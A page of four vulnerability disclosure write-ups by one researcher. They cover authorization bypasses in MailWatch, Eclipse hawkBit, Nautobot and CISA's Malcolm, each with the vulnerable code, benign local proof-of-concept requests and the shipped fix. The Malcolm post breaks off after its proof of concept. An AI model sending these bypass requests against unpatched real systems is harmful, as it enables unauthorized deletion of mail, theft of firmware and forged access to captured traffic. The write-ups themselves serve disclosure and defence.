DEV Community: Santosh Kumar Puppala

The viewer checked the domain, the delete button didn't: cross-tenant quarantine IDOR in MailWatch (CVE-2026-85749)

Santosh Kumar Puppala — Sat, 07 Nov 2026 15:59:50 +0000

TL;DR

What: In MailWatch, the web front end for MailScanner, the quarantine action endpoint looked a message up by its id alone. The message viewer and the quarantine listings add the caller's domain scope to the same lookup. In my local test on v1.2.26, a regular user of one domain got "not found" when viewing another domain's quarantined message, then deleted it through quarantine_action.php with their own session and token.
Impact: per the advisory, any authenticated user could release to the inbox or permanently delete quarantined mail belonging to other users or domains. Rated High 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H). CWE-639 and CWE-566.
Fixed in 1.2.27, advisory GHSA-w7v5-7g6w-87r4, credited to me as reporter. CVE-2026-85749.

Why you should care

MailWatch's README describes it as a web-based front end to MailScanner. MailScanner holds back mail it flags as spam, a virus or dangerous content, and MailWatch is where people look at that quarantine and decide what to release or delete. One install can serve many users and domains, each with a role: user, domain admin, host, or administrator.

Quarantine is a security control. Releasing a message delivers something the filter stopped. Deleting one removes it for good.

The setup

At login MailWatch builds a SQL condition for the caller's role and stores it in the session as $_SESSION['global_filter']. For a regular user it limits rows to that user's own addresses. Only an administrator gets everything.

The read paths use it. This is the message viewer, mailscanner/viewmail.php at v1.2.26, line 57:

$sql = "SELECT * FROM maillog WHERE id='" . $message_id . "' AND " . $_SESSION['global_filter'];

A message outside your scope returns no row, and the viewer says it was not found.

The bug

The release and delete actions go through mailscanner/quarantine_action.php. At v1.2.26, lines 82-87:

$id = deepSanitizeInput($_GET['id'], 'url');
if (false === $id || !validateInput($id, 'msgid')) {
    exit;
}

$list = quarantine_list_items($id);

quarantine_list_items() in mailscanner/functions.php, lines 3528-3543, selects by id and nothing else:

function quarantine_list_items($msgid, $rpc_only = false)
{
    $sql = "
SELECT
  hostname,
  DATE_FORMAT(date,'%Y%m%d') AS date,
  id,
  to_address,
  ...
 FROM
  maillog
 WHERE
  id = '$msgid'";

The endpoint checks that you are logged in, and each action checks your CSRF token. Neither tells it whose message the id belongs to. So the action ran on whatever message the id named.

The "aha"

The viewer and the delete button asked the database for the same message. Only the viewer asked "and is it yours?"

Proof of concept (benign)

I ran MailWatch v1.2.26 locally in Docker with synthetic data only: php:8.2-apache, and mariadb:10.6 in place of the project's mysql:5.7 with the same schema. MailScanner itself was not installed, so a minimal config file stood in for it. Two domains, one regular user each: userb@b.example (the caller) and victimuser@a.example (the owner). One quarantined message addressed to the owner, id 9XyZaBcDeFgHij, with its file on disk. Both users logged in normally and used their own session and CSRF token.

These are the recorded requests and results, as the caller:

# control: the viewer refuses the other domain's message
GET /viewmail.php?id=9XyZaBcDeFgHij&token=<caller's token>
-> 200, "Message '9XyZaBcDeFgHij' not found"

# before
maillog: 9XyZaBcDeFgHij | a.example | quarantined=1
quarantine/20260706/9XyZaBcDeFgHij/message.eml present

# the action, same id, same token
GET /quarantine_action.php?token=<caller's token>&id=9XyZaBcDeFgHij&action=delete&html=true&confirm=true
-> 200, "Delete: deleted file /var/spool/MailScanner/quarantine/20260706/9XyZaBcDeFgHij/message.eml"

# after
maillog: 9XyZaBcDeFgHij | a.example | quarantined=NULL
quarantine/20260706/9XyZaBcDeFgHij/   (empty)

As a positive control, the owner opened the same message in the viewer and got the full page with its own delete link.

Honest boundary: delete is what the run demonstrated over HTTP. Release goes through the same lookup, so by the source it had the same gap, but I did not run it. One message and two regular users, not domain admins or the host role. The test used MariaDB rather than MySQL and a stub MailScanner config. I did not re-run the test on a fixed version.

The fix

Shipped in 1.2.27 (release, 2026-07-30), merge commit bc04f25. The release notes put it as "Apply session filter consistently in quarantine operations". quarantine_list_items() now takes the filter and adds it to the query, at v1.2.27, lines 3529-3549:

function quarantine_list_items($msgid, $rpc_only = false, $global_filter = null)
{
    ...
 WHERE
  id = '$msgid'";
    if (null !== $global_filter) {
        $sql .= "
 AND
 ($global_filter)";
    }

and quarantine_action.php passes the session's filter to the lookup and to both actions:

$list = quarantine_list_items($id, false, $_SESSION['global_filter']);
...
$result = quarantine_release($list, [0], $to, false, $_SESSION['global_filter']);
...
$status[] = quarantine_delete($list, [$i], false, $_SESSION['global_filter']);

quarantine_delete() and quarantine_release() also re-run the lookup with the filter before they act, so a message outside your scope is not found at all. The same commit touched detail.php and do_message_ops.php. The advisory credits endelwar as remediation developer.

Takeaways

If a lookup is shared, put the scope inside it. The viewer added the session filter to its own query. The action called a helper that had no way to receive one. The fix gave the helper a filter parameter, so every caller that passes it gets the same answer.
"Not found" on read should mean "not found" on write. If a user cannot see a record, every action that names the record should fail the same way.
A CSRF token proves the request came from your session. It says nothing about which records your session may touch. Here both checks were present, and neither was an ownership check.

Disclosure timeline (UTC)

2026-07-05: found during a source review of the quarantine code.
2026-07-06: reproduced locally on v1.2.26 (synthetic data).
2026-07-18: reported privately through GitHub's private vulnerability reporting.
2026-07-30: v1.2.27 released with the fix, and advisory GHSA-w7v5-7g6w-87r4 published by the maintainers.
2026-10-28: CVE-2026-85749 published to the CVE List.

Credit / CTA

If you run MailWatch, upgrade to the latest release. The fix for this issue shipped in 1.2.27, and 1.2.28 and 1.2.29 (November 2026) fix further security issues, including GHSA-fx6j-399x-49w7.

If you maintain a multi-tenant app, try this: take a record a user can't see, and send its id to every action endpoint, not just the view. Each one should fail the way the view does.

Reported by me. The advisory credits endelwar as remediation developer. Comments and corrections welcome.

References

MailWatch security advisory GHSA-w7v5-7g6w-87r4, "IDOR lets any authenticated user release or delete any other tenant's quarantined mail", published 2026-07-30. https://github.com/mailwatch/MailWatch/security/advisories/GHSA-w7v5-7g6w-87r4
CVE-2026-85749. https://www.cve.org/CVERecord?id=CVE-2026-85749
Fix merge commit bc04f25. https://github.com/mailwatch/MailWatch/commit/bc04f25eb0cec028cbd4ded9c049cfc6f663a15f
MailWatch release notes, v1.2.27. https://github.com/mailwatch/MailWatch/releases/tag/v1.2.27
mailscanner/quarantine_action.php at v1.2.26 (before the fix). https://github.com/mailwatch/MailWatch/blob/v1.2.26/mailscanner/quarantine_action.php
mailscanner/functions.php at v1.2.27 (after the fix). https://github.com/mailwatch/MailWatch/blob/v1.2.27/mailscanner/functions.php
MITRE CWE-639, Authorization Bypass Through User-Controlled Key. https://cwe.mitre.org/data/definitions/639.html

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq). GitHub: @Santoshkumarpuppala

One Range header skipped the firmware assignment check: CVE-2026-16454 in Eclipse hawkBit

Santosh Kumar Puppala — Sat, 07 Nov 2026 15:41:09 +0000

TL;DR

What: In Eclipse hawkBit, the device API's artifact download ran its assignment check only when the request had no Range header. A device that added Range: bytes=0- got the file anyway. The advisory lists 1.0.3 and prior as affected.
Impact: per the advisory, any authenticated device could download firmware artifacts assigned to other devices in the same tenant. It is not an authentication bypass, and it stays inside the tenant. Rated Moderate 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N). CWE-862 and CWE-284.
Fixed in 1.0.4, advisory GHSA-92r3-p8c2-3fpx, credited to me as reporter. CVE-2026-16454, assigned by the Eclipse CNA, lists me as finder.

Why you should care

hawkBit's README describes it as a domain-independent back end for rolling out software updates to constrained edge devices, controllers and gateways. An operator assigns a distribution set to a device, and that device downloads the artifacts in it.

The advisory states the boundary plainly: a device should be restricted to the firmware artifacts explicitly assigned to it. This bug removed that boundary for one kind of request. The credentials still had to be valid, and per the advisory the tenant limit held. What failed was the separation between devices inside one tenant.

A device also needs a module id and an artifact filename to ask for. The advisory and the CVE record both describe a related metadata endpoint: given a module id, it returned the artifact filenames, sizes and hashes, including for a module not assigned to the device.

The setup

DDI (Direct Device Integration) is the API devices speak. A device can authenticate with its own token, sent as Authorization: TargetToken <token>.

The per-device check is JpaControllerManagement.getActionForDownloadByTargetAndSoftwareModule(). It takes the device's active actions and looks for one whose distribution set contains the requested module. At tag 1.0.3, lines 365-374:

return actionRepository
        .findAll(ActionSpecifications.byTargetControllerIdAndActive(controllerId, true))
        .stream()
        .filter(action -> !action.isCancelingOrCanceled())
        .filter(action -> action.getDistributionSet().getModules()
                .stream()
                .anyMatch(module -> module.getId() == moduleId))
        .map(Action.class::cast)
        .findFirst()
        .orElseThrow(() -> new SoftwareModuleNotAssignedToTargetException(moduleId, controllerId));

That exception extends EntityNotFoundException and comes back as an HTTP 404. The check works. The question is when it runs.

The bug

This is DdiRootController.downloadArtifact() at tag 1.0.3, in hawkbit-ddi/hawkbit-ddi-resource/src/main/java/org/eclipse/hawkbit/ddi/rest/resource/DdiRootController.java, lines 181-184:

final ActionStatus actionStatus = RequestResponseContextHolder.getHttpServletRequest().getHeader("Range") == null
        ? logDownload(RequestResponseContextHolder.getHttpServletRequest(), target, module.getId())
        : null; // range request - could have too many - so doesn't check action, don't log action status, and don't publish events
result = FileStreamingUtil.writeFileResponse(file, artifact.getFilename(), artifact.getCreatedAt(),
        ...

logDownload() holds the only non-test call to the check in the 1.0.3 tree. It looks up the action, then writes an ActionStatus row, at lines 586-594:

private ActionStatus logDownload(final HttpServletRequest request, final Target target, final Long module) {
    final Action action = controllerManagement.getActionForDownloadByTargetAndSoftwareModule(target.getControllerId(), module);
    return controllerManagement.addInformationalActionStatus(
            ActionStatusCreate.builder()
                    .actionId(action.getId())
                    .status(Status.DOWNLOAD)
                    .messages(List.of(RepositoryConstants.SERVER_MESSAGE_PREFIX + "Target downloads " + request.getRequestURI()))
                    .build());
}

So with a Range header the ternary evaluates to null, nothing calls the check, and the next statement streams the file.

The lookup before it doesn't cover the gap. getSoftwareModule() is softwareModuleRepository.findById(id), and it takes no device argument.

The "aha"

The check was skipped on purpose and in plain sight, as a load problem. It was also the only thing tying a device to the firmware it asked for.

Until January 2025 the helper was called checkAndLogDownload(), and it ran on every download (tag 0.7.0, lines 192 and 598). Issue #1249 reported what that cost streaming installers. RAUC issues Range requests of about 128 KB, so a 150 MB bundle produced more than 1000 ActionStatus rows and hit the quota of 1000 per action.

PR #2261 dealt with that. Its title is about action statuses, but its body also lists too many action checks as a reason and says "this PR skip action existing check and skip logging". The same PR renamed the helper to logDownload(). PR #2262, merged 28 minutes later, added the ternary and the comment shown above. Going by the source at each tag, 0.8.0 (March 2025) is the first tag that carries the skip.

So nothing was hidden. The skip is in the PR text and in the code. But neither the PR nor the issue calls that lookup an authorization check. It was described by what it cost, and described that way, skipping it looks like a sensible fix for a real problem. The proof of concept below shows nothing else on that path stood in for it.

Proof of concept (benign)

Everything ran locally in Docker with synthetic data. No hosted or third-party system was involved. The target was hawkbit/hawkbit-update-server:1.0.3 on port 8585, default tenant DEFAULT, with target-token authentication enabled (authentication.targettoken.enabled=true; the update server's application.properties ships it turned off). deviceA and deviceB each had their own token. Software module 1 holds fw.bin, whose content is a short marker string, SECRET_FIRMWARE_FOR_DEVICE_A_ONLY_…, in a distribution set assigned to deviceA only.

The run recorded the path, the token, the status and the body, not a shell transcript, so read these commands as the form of the requests. Both authenticate as deviceB with deviceB's own token:

curl -i -H "Authorization: TargetToken $TOKEN_B" \
  http://localhost:8585/DEFAULT/controller/v1/deviceB/softwaremodules/1/artifacts/fw.bin

curl -i -H "Authorization: TargetToken $TOKEN_B" -H "Range: bytes=0-" \
  http://localhost:8585/DEFAULT/controller/v1/deviceB/softwaremodules/1/artifacts/fw.bin

What was recorded:

deviceB, no Range: 404, SoftwareModuleNotAssignedToTargetException. Correctly denied.
deviceB, Range: bytes=0-: 206, body SECRET_FIRMWARE_FOR_DEVICE_A_ONLY_…, the full artifact.
deviceA (assigned), no Range: 200, the same firmware.

The only difference between the 404 and the 206 is the header.

Honest boundary: this is one artifact, two devices and one tenant. I did not test across tenants, so the tenant limit is the advisory's statement, not my result. The marker stands in for firmware, so this shows the boundary was crossed and nothing about what a real image contains.

The fix

Shipped in 1.0.4 (Release, 2026-06-26). This is DdiRootController.java at tag 1.0.4, lines 192-197, from commit 6cb34fd77f6a on the 1.0 branch and 83fee2ba98fb on master:

// check action assigned to device
final Action action = Objects.requireNonNull(
        controllerManagement.getActionForDownloadByTargetAndSoftwareModule(target.getControllerId(), module.getId()));
final ActionStatus actionStatus = getHttpServletRequest().getHeader("Range") == null
        ? logDownload(action)
        : null; // range request - could have too many - so doesn't check action, don't log action status, and don't publish events

The check now runs before the Range ternary, and logDownload() only receives the action. Range requests still skip the status row, so the action-status quota problem from issue #1249 stays fixed. The comment on the : null line was left as it was, and at 1.0.4 it is out of date.

Two related changes shipped with it. The .MD5SUM path, which was never gated on Range, now makes the same explicit check. And the artifact metadata listing, getSoftwareModulesArtifacts(), gained an assignment check (914b8b406bd7 on the 1.0 branch, 9dc7d2120a05 on master), with a fallback so a device can still list modules in its installed action.

The maintainer asked me to confirm the fix, so on 18 June I built master at commit 6e510bdc and re-ran the PoC locally, again with synthetic data:

deviceB, Range: bytes=0-: 404, no firmware bytes. This was the 206 on 1.0.3.
deviceB, no Range: 404, unchanged.
deviceA, no Range: 200 with the firmware, unchanged.
deviceA, Range: bytes=0-: 206 with the firmware. I added this one in the re-run; it was not run on 1.0.3.
deviceB, metadata listing for module 1: 200 with the filename, size and hashes. Still open on that build.

The two deviceA results show the new 404 is the check firing, not a broken route. I flagged the last result in my reply, and the listing's own check landed on master the same day.

I did not re-run on the 1.0.4 build. downloadArtifact() at 1.0.4 is the same code as at that commit. The metadata check is in the 1.0.4 source at lines 132-147; I have not run it.

A note on severity

The advisory rates this Moderate, CVSS 4.3, with confidentiality Low. Its stated reasons are that access stays inside the authenticated tenant and that production firmware is by design not expected to hold highly sensitive data. I filed it at 6.5 with confidentiality High. That is the only difference between the two vectors, and 4.3 is the published rating.

Takeaways

When a performance change removes a lookup, ask whether that lookup was the authorization decision. PR #2261 named the action check and skipped it for load reasons. In hawkBit that one lookup was the whole per-device check on the download path.
A good name did not save it. The helper was checkAndLogDownload(), with the check in its name, and the PR that skipped the check also renamed it. A separately named assertion could have been skipped by the same decision.
getSoftwareModule() answered whether the module exists, not whether this device may have it. Passing that lookup told the download path nothing about the device.

Disclosure timeline

2026-06-15: found during a source review of DdiRootController.
2026-06-16: reproduced locally on the hawkbit-update-server:1.0.3 image and reported privately through GitHub's private vulnerability reporting.
2026-06-17: fix landed on master.
2026-06-18: the maintainer asked me to confirm the fix. I built master at 6e510bdc and re-ran locally. The Range bypass did not reproduce. The same run found the metadata listing still open on that build. I flagged that in my reply, and the check for it landed on master that day.
2026-06-25: 1.0.4 tagged.
2026-06-26: 1.0.4 Release published, then advisory GHSA-92r3-p8c2-3fpx published by the maintainer, crediting me as reporter.
2026-07-21: CVE-2026-16454 published by the Eclipse CNA: affected through 1.0.3, unaffected 1.0.4, with me listed as finder.

Ten days from report to published advisory, with the maintainer asking for the fix to be checked first. That is a well-run disclosure process.

Credit / CTA

If you run Eclipse hawkBit, upgrade to 1.0.4 or later. From 1.1.0, a setting called hawkbit.ddi.skip-artifact-access-check.tenants can turn this check off per tenant, or for all tenants with *. It is empty by default, so the check stays on. Leave it empty unless you mean to turn the check off.

Reported by me. The advisory credits avgustinmm as remediation developer. Comments and corrections welcome.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq). GitHub: @Santoshkumarpuppala

Allowed to view the Location, handed the Device: a GraphQL permission gap in Nautobot (GHSA-mfwj-pjgx-22v2)

Santosh Kumar Puppala — Sat, 07 Nov 2026 14:38:02 +0000

TL;DR

What: Nautobot's GraphQL API enforced object permissions at the root of a query but not when a query traversed into related models. In my local test on v3.1.4, an account with view permission on Location and no device permission got a 403 from the REST device list and an empty list from a top-level devices query. A nested query through location.devices returned the device's id and name.
Impact: per the advisory, users with access to some models but not others could retrieve fields from models they were not meant to reach. It needs a valid account, and it is read-only. Rated Moderate 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N). CWE-200 and CWE-285.
Fixed in 2.4.38 and 3.2.0, advisory GHSA-mfwj-pjgx-22v2. The advisory reads: "Credit for this discovery goes to Habibullo Izzatilloyev. It was also reported by Santosh Kumar Puppala."

Why you should care

Nautobot describes itself as a Network Source of Truth and Network Automation Platform. Its core models cover devices and racks, IP networks and addresses, circuits and cables, and it offers GraphQL alongside REST. Object permissions decide which of those records a user may see.

GraphQL lets the client choose the path to the data. A check at the root of a query covers the objects that root returns. It says nothing about the objects the query reaches next, unless each step through a relation checks again.

The setup

Nautobot is built on Django and exposes the models registered for GraphQL through graphene-django. Access is governed by ObjectPermission. A permission grants actions on object types, and it can carry constraints, for example view devices at one location. There are no deny rules. The account in this test simply had no grant on Device.

REST views, UI views and the root GraphQL resolvers filter their querysets through one method, restrict(user, action). For a user with no grant on the model, it returns an empty queryset.

The request that matters here is one nested query, shown as I ran it:

POST /api/graphql/
{ location(id:"<LOC-A uuid>"){ name devices { id name } } }

It asks for a parent the account may view, and a relation the account has no grant for.

The bug

The resolvers are generated in nautobot/core/graphql/generators.py. The code below is from tag v3.1.4 (commit 94012e0). The two root resolvers restrict the queryset:

# nautobot/core/graphql/generators.py  (v3.1.4)
def generate_single_item_resolver(schema_type, resolver_name):
    ...
    def single_resolver(self, info, **kwargs):
        obj_id = kwargs.get("id", None)
        if obj_id:
            queryset = model.objects.all()
            if hasattr(queryset, "restrict"):
                queryset = queryset.restrict(info.context.user, "view")
            ...

def generate_list_resolver(schema_type, resolver_name):
    ...
    def list_resolver(self, info, limit=None, offset=None, **kwargs):
        ...
        queryset = model.objects.all()
        if hasattr(queryset, "restrict"):
            queryset = queryset.restrict(info.context.user, "view")
        ...

The resolver behind list-style relations does not:

# nautobot/core/graphql/generators.py  (v3.1.4)
def generate_filter_resolver(schema_type, resolver_name, field_name):
    ...
    filterset_class = schema_type._meta.filterset_class

    @gql_optimizer.resolver_hints(model_field=field_name)
    def resolve_filter(self, info, **kwargs):
        field = getattr(self, field_name)

        if not filterset_class or not kwargs:
            return field.all()
        ...
        matching_ids = info.context._gql_filter_cache[cache_key]
        return [obj for obj in field.all() if obj.pk in matching_ids]

nautobot/core/graphql/schema.py installs generate_filter_resolver for many-to-many, reverse foreign-key and generic relation fields whose target model has a registered GraphQL type. It skips reverse one-to-ones. Device.location has related_name="devices", so location.devices goes through this resolver and returns location.devices.all(), with no permission check on the devices.

That is the path I tested, and it was not the only one. The fix's changelog lists these as well:

rel_* fields that traverse Relationship associations
forward foreign keys, such as racks { location }
reverse relations, including *_set fields and reverse one-to-ones such as module_bay { installed_module }
custom and property-backed accessors: a Device's all_interfaces, cable and connection peers, dynamic group memberships, assigned tags, and the legacy location accessors on Prefix and VLAN

Some of these were generated and some were hand-written, for example resolve_dynamic_groups on the Device GraphQL type (class DeviceType in nautobot/dcim/graphql/types.py) at v3.1.4. So this was not one forgotten call. The advisory's description is the accurate one: permissions were enforced at the root of the query and not when traversing into related models.

REST had the same kind of gap in a different place. Its ?depth parameter also traversed to related objects without enforcing permissions on them, and that was fixed in the same releases under a separate advisory, GHSA-h8rv-c7c8-cvmx.

The "aha"

Nautobot asked whether the user could see an object at the root of the query, and did not ask again when the query stepped into a related model. The client chooses the steps.

Proof of concept (benign)

I ran networktocode/nautobot:3.1.4 locally in Docker, with synthetic data only. No hosted or third-party system was touched. Account A holds exactly one ObjectPermission: dcim | location | view. It has no device permission of any kind. The seed is one Location, LOC-A, and one Device, DEV-A, assigned to it. These are the recorded requests and responses, with the UUIDs replaced by placeholders:

# [1] negative control: REST device list (Token A)
GET /api/dcim/devices/?limit=50
-> 403 {"detail":"You do not have permission to perform this action."}

# [2] sanity check: top-level GraphQL (Token A)
POST /api/graphql/  {"query":"{ devices { id name } }"}
-> {"data":{"devices":[]}}

# [3] the bypass: nested GraphQL (Token A)
POST /api/graphql/  {"query":"{ location(id:\"<LOC-A uuid>\"){ name devices { id name } } }"}
-> {"data":{"location":{"name":"LOC-A","devices":[{"id":"<DEV-A uuid>","name":"DEV-A"}]}}}

The proof is the split. In the same test run, the same token got a 403 from REST and an empty list from top-level GraphQL, and the nested query returned DEV-A. An admin's REST query also returned DEV-A, which confirms the device is real.

From the source, the 403 and the empty list come from different places. REST's default permission class, TokenPermissions, requires dcim.view_device and refuses the request before the view restricts any queryset. The top-level GraphQL resolver calls restrict(), which returns no rows for a user with no grant.

Honest boundary: the recorded requests asked for id and name on one seeded device, so that is all I can show. Serial numbers, IP addresses and interfaces were not part of them. I did not test a constrained device grant, the web UI or REST ?depth. The maintainers' new tests do cover constrained grants, for example a view grant on Rack limited to one name.

The fix

Shipped in 3.2.0 (commit a05eb7d) and 2.4.38 (commit 52a17d8), both released 2026-07-27. My report suggested calling restrict() in this resolver. That is not what shipped, and the maintainers' comment says why. The resolver as shipped in v3.2.0:

# nautobot/core/graphql/generators.py  (v3.2.0)
    def resolve_filter(self, info, **kwargs):
        field = getattr(self, field_name)
        related_model = field.model

        # Object-permission enforcement: the related manager (`field`) is prefetched by the optimizer, so we
        # keep it intact and filter the loaded objects in Python against the user's permitted PKs, rather than
        # re-querying with `restrict()` (which would defeat the prefetch and cause N+1 queries).
        # `None` means unrestricted access, in which case no permission filtering is applied.
        permitted_ids = get_permitted_pks(info, related_model)

        if not filterset_class or not kwargs:
            objects = field.all()
            if permitted_ids is None:
                return objects
            return [obj for obj in objects if obj.pk in permitted_ids]
        ...
        matching_ids = info.context._gql_filter_cache[cache_key]
        return [
            obj for obj in field.all() if obj.pk in matching_ids and (permitted_ids is None or obj.pk in permitted_ids)
        ]

get_permitted_pks in nautobot/core/graphql/utils.py works out the set of primary keys a user may view for a model and caches it on the request, so the check costs at most one query per model per GraphQL request.

The 3.2.0 commit is 932 additions and 79 deletions across 15 files, because it covers the other paths too:

Forward foreign keys and one-to-ones get generate_fk_resolver. A related object the user may not view now comes back as null, so the schema marks all forward foreign keys as nullable.
Reverse one-to-ones get generate_single_relation_resolver.
generate_relationship_resolver does call restrict(), because it already issues a fresh query per parent object.
Hand-written and property-backed accessors are wrapped with two new helpers, permission_safe_resolver and permission_safe_attribute_resolver.
A new test, test_all_related_object_fields_are_permission_enforced, scans the schema and fails on any field that returns a restrictable model through a resolver not marked as enforcing permissions.

Takeaways

A permission check at the root of a GraphQL query does not cover what the query reaches next. Every resolver that returns persisted objects has to answer the question again, including default resolvers you never wrote and accessors built on model properties.
Make a missing check fail a test. The most reusable part of this fix is the guard test. It walks the schema, so a new accessor that returns related objects without enforcing permissions gets caught before it ships.
Plan for the query cost of the check. A per-object restrict() on a prefetched relation means one query per parent. Nautobot computes one set of permitted keys per model per request and filters in Python, which keeps the prefetch.

Disclosure timeline (UTC)

2026-06-23: reproduced locally on v3.1.4 (synthetic data).
2026-07-06: reported privately by email to the Nautobot security team.
2026-07-15: the maintainers replied that another reporter had already identified the issue and that I would be credited as an additional reporter.
2026-07-27: v2.4.38 and v3.2.0 released, and advisory GHSA-mfwj-pjgx-22v2 published by the maintainers.

Credit / CTA

If you run Nautobot, upgrade. The fix first shipped in 2.4.38 and 3.2.0, and later releases carry further security fixes. On 2.4, take the latest 2.4 release. On 3.0 or 3.1 there is no fixed release on your line, so move to the latest 3.2 release. The advisory lists no workaround and notes that the weakness also exists in EOL v1.x. After upgrading, users without view permission on a related model will see null on forward foreign keys and shorter lists on relations. Apps with custom GraphQL types should review the new helpers above.

If you work with GraphQL generally, this is a quick test: take a user with no permission on a model, request those records directly, then request them again by traversing from something the user can see. If the two answers differ, your traversal isn't checking.

Credit for this discovery goes to Habibullo Izzatilloyev. It was also reported by me. Comments and corrections welcome.

References

Nautobot security advisory GHSA-mfwj-pjgx-22v2, "Object view permissions bypass via GraphQL traversal", published 2026-07-27. https://github.com/nautobot/nautobot/security/advisories/GHSA-mfwj-pjgx-22v2
Nautobot security advisory GHSA-h8rv-c7c8-cvmx, 'Object view permissions bypass via REST API "depth"', published 2026-07-27. https://github.com/nautobot/nautobot/security/advisories/GHSA-h8rv-c7c8-cvmx
Fix commit for 3.2.0, a05eb7d. https://github.com/nautobot/nautobot/commit/a05eb7d0c939dd4205aca839955e4b3ee5f32af4
Fix commit for 2.4.38, 52a17d8. https://github.com/nautobot/nautobot/commit/52a17d8e4806b909d5de9f0a121c92c2bbc6d719
nautobot/core/graphql/generators.py at v3.1.4 (before the fix). https://github.com/nautobot/nautobot/blob/v3.1.4/nautobot/core/graphql/generators.py
nautobot/core/graphql/generators.py at v3.2.0 (after the fix). https://github.com/nautobot/nautobot/blob/v3.2.0/nautobot/core/graphql/generators.py
Nautobot release notes, v3.2.0 and v2.4.38. https://github.com/nautobot/nautobot/releases/tag/v3.2.0 and https://github.com/nautobot/nautobot/releases/tag/v2.4.38
MITRE CWE-200, Exposure of Sensitive Information to an Unauthorized Actor. https://cwe.mitre.org/data/definitions/200.html
MITRE CWE-285, Improper Authorization. https://cwe.mitre.org/data/definitions/285.html

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq). GitHub: @Santoshkumarpuppala

Uppercase the path, skip the auth gate: an unauthenticated nginx bypass in CISA's Malcolm (GHSA-7j32-cf27-cp6h)

Santosh Kumar Puppala — Mon, 26 Oct 2026 15:56:49 +0000

TL;DR

What: Malcolm — the free network-traffic-analysis suite built by CISA and Idaho National Laboratory — shipped an nginx reverse-proxy config where one route's matcher was case-insensitive but its redirect was case-sensitive. Requesting that route in any non-lowercase casing (/IDDASH2ARK/…) slipped past the redirect and fell through to an unauthenticated proxy_pass, in one of two proxied locations that never got the auth include.
Impact: an unauthenticated network caller reaches the Arkime full-packet-capture backend, and because that same location forwards a client-supplied X-Forwarded-User header un-overwritten — the exact header Arkime is configured to trust as the logged-in user — the caller arrives with a forged, auto-provisioned identity. Rated Moderate 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N).
Fixed in v26.08.0, advisory GHSA-7j32-cf27-cp6h, credited to me as reporter. CVE-2026-107336 lists me as finder.

Why you should care

Malcolm is a free, full-packet-capture and network-traffic-analysis suite, developed by CISA in collaboration with Idaho National Laboratory for network security monitoring. Its front door is an analyst web UI on 443; behind that sits Arkime, the engine that stores and serves captured sessions and PCAP.

For a tool whose entire job is to hold captured network traffic, the auth gate on the front proxy is the security boundary. So when one route quietly falls off that gate, "unauthenticated" doesn't mean a marketing page is exposed — it means an anonymous caller is talking to the packet store.

The setup

Malcolm's front nginx gates its proxied routes by include-ing a runtime auth file (nginx_auth_rt.conf, which in the shipped default resolves to HTTP basic auth). Most proxied locations include it; two did not. That include does two jobs at once: it demands credentials, and it overwrites X-Forwarded-User with the authenticated user so a client can never forge it.

The /iddash2ark/ route is different by design. The "Dashboards → Arkime shortcut" at /iddash2ark/ was only ever meant to hand you a 302 redirect to the real, gated /arkime/sessions?expression=…. It didn't need its own auth, because a redirect leaks nothing. That assumption is where it goes wrong.

The bug

# nginx/nginx.conf  (v26.07.1)
location ~* /iddash2ark/(.*) {                 # ~*  = CASE-INSENSITIVE match
    ...
    rewrite ^.*/iddash2ark/(.*) $forwarded_scheme://$host/arkime/sessions?expression=($1) redirect;   # case-SENSITIVE (no (?i) modifier)
    proxy_pass $arkime_protocol://arkime;      # fall-through target: unauthenticated
    ...
    include /etc/nginx/nginx_proxy_forward_headers.conf;   # NOT the auth include
}

Two directives disagree about case. The location ~* matcher is case-insensitive, so /IDDASH2ARK/x enters the block. But the rewrite pattern ^.*/iddash2ark/(.*) has no (?i) modifier, so it is case-sensitive and does not match the uppercase path. No 302 is issued, and nginx falls through to the next thing in the block: a bare proxy_pass to Arkime. This location includes only the header-forwarding file, not the auth file. The request reaches the backend with no credentials checked. (/dashboards/app/extracted-files/ had the same case mismatch and the same missing include; the maintainer fixed both together.)

Then the confused deputy. The header file this location does include sets X-Forwarded-For/Host/Proto/... but never touches X-Forwarded-User. On every gated route, the auth include overwrites that header with the authenticated user; here nothing overwrites it, so whatever the client sends survives. And Arkime is configured to trust it:

# arkime/etc/config.ini  (v26.07.1)
userAuthIps=::,0.0.0.0/0
userNameHeader=x-forwarded-user
userAutoCreateTmpl={"userId": "${this["x-forwarded-user"]}", ... "enabled": true, ... "webEnabled": true, "headerAuthEnabled": true, ... "packetSearch": true, ...}

userNameHeader=x-forwarded-user means Arkime reads the logged-in username straight out of that header; userAuthIps=::,0.0.0.0/0 trusts every IPv4 peer (and nginx is the peer); and the auto-create template provisions that user on the fly with packet search enabled. So the attacker doesn't merely reach the backend unauthenticated — they get to choose who they arrive as.

The "aha"

The location matcher was case-insensitive, but the redirect meant to neutralize the request was case-sensitive — so changing one letter to uppercase slipped the request into a route that never had an auth gate, carrying a username the backend had been told to trust.

Proof of concept (benign)

I didn't need the full suite for this — the bug lives entirely in Malcolm's own nginx config. I stood up a minimal nginx from the verbatim, unmodified shipped config fragments of tag v26.07.1, in front of a tiny stub that just echoes the method, path, and headers it receives (no Arkime logic reimplemented, nothing weaponized). Everything local, synthetic, no live or third-party system touched. The run went over plain HTTP on localhost; this is the recorded output:

# [1] positive control: GET /arkime/  (no creds)
HTTP/1.1 401 Authorization Required

# [2] inverse control: GET /iddash2ark/x  (exact lowercase, no creds)
HTTP/1.1 302 Moved Temporarily
Location: http://127.0.0.1/arkime/sessions?expression=(x)

# [3] the bypass: GET /IDDASH2ARK/x  (uppercase, no creds, X-Forwarded-User: forged-admin)
HTTP/1.1 200 OK
ARKIME_STUB_HIT method=GET path=/IDDASH2ARK/x x-forwarded-user='forged-admin' x-forwarded-roles=None authorization=None

The last request reached the backend unauthenticated, with the forged header passed through un-overwritten.

Mixed case (/IdDaSh2Ark/y) behaves identically, and the raw request URI (path + query) is forwarded verbatim, so the caller controls exactly what Arkime receives.

